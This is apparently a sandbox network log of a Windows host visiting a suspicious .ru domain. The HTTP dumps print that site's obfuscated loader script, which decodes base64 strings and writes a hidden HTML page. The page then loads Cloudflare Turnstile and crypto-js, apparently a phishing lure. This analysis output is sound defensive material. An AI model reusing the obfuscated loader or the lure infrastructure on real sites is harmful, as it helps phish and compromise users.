Mar 20, 2025 08:57:11.257028103 CET	52421	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:11.452784061 CET	53	52421	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:11.457690001 CET	53	54955	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:11.525957108 CET	62888	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:11.526329041 CET	61467	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:11.627377987 CET	53	62888	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:11.629273891 CET	53	61467	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:12.648058891 CET	50129	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:12.648309946 CET	49392	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:13.835038900 CET	53421	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:13.835293055 CET	50750	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:13.950210094 CET	53	53421	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:13.950619936 CET	53	50750	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:32.322242022 CET	53	59642	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:32.822057962 CET	53	52362	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:35.326234102 CET	53	64802	1.1.1.1	192.168.2.9
Mar 20, 2025 08:58:03.600878954 CET	53	60529	1.1.1.1	192.168.2.9
Mar 20, 2025 08:58:03.768088102 CET	65039	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:58:03.768249989 CET	49765	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:58:03.869582891 CET	53	65039	1.1.1.1	192.168.2.9
Mar 20, 2025 08:58:03.870093107 CET	53	49765	1.1.1.1	192.168.2.9
Mar 20, 2025 08:58:09.944266081 CET	138	138	192.168.2.9	192.168.2.255
Mar 20, 2025 08:58:48.357119083 CET	53	53480	1.1.1.1	192.168.2.9

Timestamp	Bytes transferred	Direction	Data
Mar 20, 2025 08:56:47.910567999 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 20, 2025 08:56:48.001059055 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 20 Mar 2025 07:09:48 GMT Expires: Thu, 20 Mar 2025 07:59:48 GMT Age: 2819 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 20, 2025 08:56:48.007747889 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 20, 2025 08:56:48.098788977 CET	222	IN	HTTP/1.1 304 Not Modified Date: Thu, 20 Mar 2025 07:50:24 GMT Expires: Thu, 20 Mar 2025 08:40:24 GMT Age: 384 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:56:38 UTC	660	OUT	GET /1djFOQV/ HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:56:39 UTC	1210	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:56:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=boKc%2BTxxt0zoFevAD0qTJmzmeEsNZbqcQYbJILApLEyDysADs2bVrGye9ZUS8DLv%2FKEhzdW2%2FmF8ZA%2FQlUfAKi7Px9LShyIwQRC7BV0O8%2FBuYCAcMlgaP5TB2btD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10679&min_rtt=10573&rtt_var=4041&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1555&delivery_rate=269365&cwnd=251&unsent_bytes=0&cid=84727c4ffdd7ad1d&ts=269&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImFKeC82MmRiM3ErK01uMHZaRWVPNFE9PSIsInZhbHVlIjoiNGxvTkpzbVcwQjBnU2RIZzQvbmdFZ0lmTWY4SS9HaURSSGlmc1gzQWJjU1MzMVJ4RTBHTHpxS3hzYzUwb29aZnRGMGZtQzIvaFIyNGVWaWRYOGNiV2tKaXQxcUwya1FlcHAwYVBWVVN4ZUtUVmUwRHUySDU5UGlpQlNMdVVrUnIiLCJtYWMiOiI5ZDNlYzZhZWI0MTRmYWQyNzcwNGM3NjAzNjE5MzIwYzRmMzdhZDhlOTI0NTY4M2MzNDhmYjE3MmE5ZmM4YWE5IiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 09:56:39 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 07:56:39 UTC	765	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 55 34 54 6a 52 59 4d 57 38 33 4e 48 4d 79 63 45 70 7a 55 33 46 61 63 31 56 33 56 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 47 68 6b 57 53 74 68 63 6d 74 55 53 57 35 48 63 54 42 45 65 54 67 78 59 6c 42 57 4f 48 68 43 4d 45 70 54 55 48 5a 55 53 31 6f 30 59 57 52 58 52 56 52 35 4f 48 4e 4d 62 46 6b 77 52 32 56 6a 4f 54 4e 4e 57 6a 6b 77 57 6a 4a 79 63 47 68 53 56 56 6c 59 64 6e 46 54 4c 31 4e 34 61 57 78 75 55 46 5a 43 51 31 5a 53 57 47 64 69 54 6d 4a 57 63 45 64 74 57 6b 39 47 64 69 74 34 64 57 30 30 55 45 5a 75 59 54 41 79 63 6c 55 72 5a 46 52 4c 53 32 4e 45 51 56 56 6c 55 31 4e 35 53 53 74 43 4d 45 31 43 56 48 70 44 57 6d 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkU4TjRYMW83NHMycEpzU3Fac1V3VkE9PSIsInZhbHVlIjoiRGhkWSthcmtUSW5HcTBEeTgxYlBWOHhCMEpTUHZUS1o0YWRXRVR5OHNMbFkwR2VjOTNNWjkwWjJycGhSVVlYdnFTL1N4aWxuUFZCQ1ZSWGdiTmJWcEdtWk9Gdit4dW00UEZuYTAyclUrZFRLS2NEQVVlU1N5SStCME1CVHpDWmo
2025-03-20 07:56:39 UTC	282	IN	Data Raw: 31 31 33 0d 0a 3c 73 63 72 69 70 74 3e 0a 72 48 49 55 7a 50 4b 4d 4c 68 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 34 55 6d 64 61 4c 6d 31 6b 63 6e 5a 6e 63 58 4e 74 4c 6e 4a 31 4c 7a 46 6b 61 6b 5a 50 55 56 59 76 22 29 3b 0a 76 4f 53 71 67 63 73 54 41 6f 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 78 4f 79 47 4d 66 71 58 45 57 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 72 48 49 55 7a 50 4b 4d 4c 68 20 3d 3d 20 76 4f 53 71 67 63 73 54 41 6f 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 78 4f 79 47 4d 66 71 58 45 57 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 Data Ascii: 113<script>rHIUzPKMLh = atob("aHR0cHM6Ly84UmdaLm1kcnZncXNtLnJ1LzFkakZPUVYv");vOSqgcsTAo = atob("bm9tYXRjaA==");xOyGMfqXEW = atob("d3JpdGU=");if(rHIUzPKMLh == vOSqgcsTAo){document[xOyGMfqXEW](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxod
2025-03-20 07:56:39 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 35 72 49 48 4a 6c 62 44 30 69 61 57 4e 76 62 69 49 67 61 48 4a 6c 5a 6a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6b 5a 58 5a 6c 62 47 39 77 5a 58 4a 7a 4c 6d 4e 73 62 33 56 6b 5a 6d 78 68 63 6d 55 75 59 32 39 74 4c 32 5a 68 64 6d 6c 6a 62 32 34 75 63 47 35 6e 49 69 42 30 65 58 42 6c 50 53 4a 70 62 57 46 6e 5a 53 39 34 4c 57 6c 6a 62 32 34 69 50 67 6f 67 49 43 41 67 50 47 31 6c 64 47 45 67 61 48 52 30 63 43 31 6c 63 58 56 70 64 6a 30 69 57 43 31 56 51 53 31 44 62 32 31 77 59 58 52 70 59 6d 78 6c 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 4a 52 54 31 46 5a 47 64 6c 4c 47 4e 6f 63 6d 39 74 5a 54 30 78 49 6a 34 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 56 75 64 44 30 Data Ascii: 7ffa5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0
2025-03-20 07:56:39 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b Data Ascii: 76g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk
2025-03-20 07:56:39 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 Data Ascii: Wk776g44Wk44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g7
2025-03-20 07:56:39 UTC	1369	IN	Data Raw: 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 Data Ascii: g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44
2025-03-20 07:56:39 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 Data Ascii: 44Wk776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk44Wk44W
2025-03-20 07:56:39 UTC	1369	IN	Data Raw: 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b Data Ascii: 4Wk44Wk44Wk776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk
2025-03-20 07:56:39 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 Data Ascii: 6g44Wk776g776g776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g44Wk776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk4
2025-03-20 07:56:39 UTC	1369	IN	Data Raw: 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 Data Ascii: g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g77

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:56:40 UTC	704	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:56:40 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 20 Mar 2025 07:56:40 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 9233a780ec5e8e3e-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:56:40 UTC	691	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:56:40 UTC	960	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:56:40 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 174993 Expires: Tue, 10 Mar 2026 07:56:40 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HIMR15ckyzaRGE%2FX4FYWtmagQZL3EoCaMCy0bxrM0v7DmFBQZI7NPcWAKvJ9Dg%2B2f5SxQj1Qi0WMYLkrLA8SsRRIw8cFDUiS3MrZN1A8RgmDtXmef0ZLk%2Fnx8p%2FsqhL60apuIGwK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9233a780e80343df-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 07:56:40 UTC	409	IN	Data Raw: 37 62 66 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf1!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 Data Ascii: of globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cr
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 Data Ascii: .call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByte
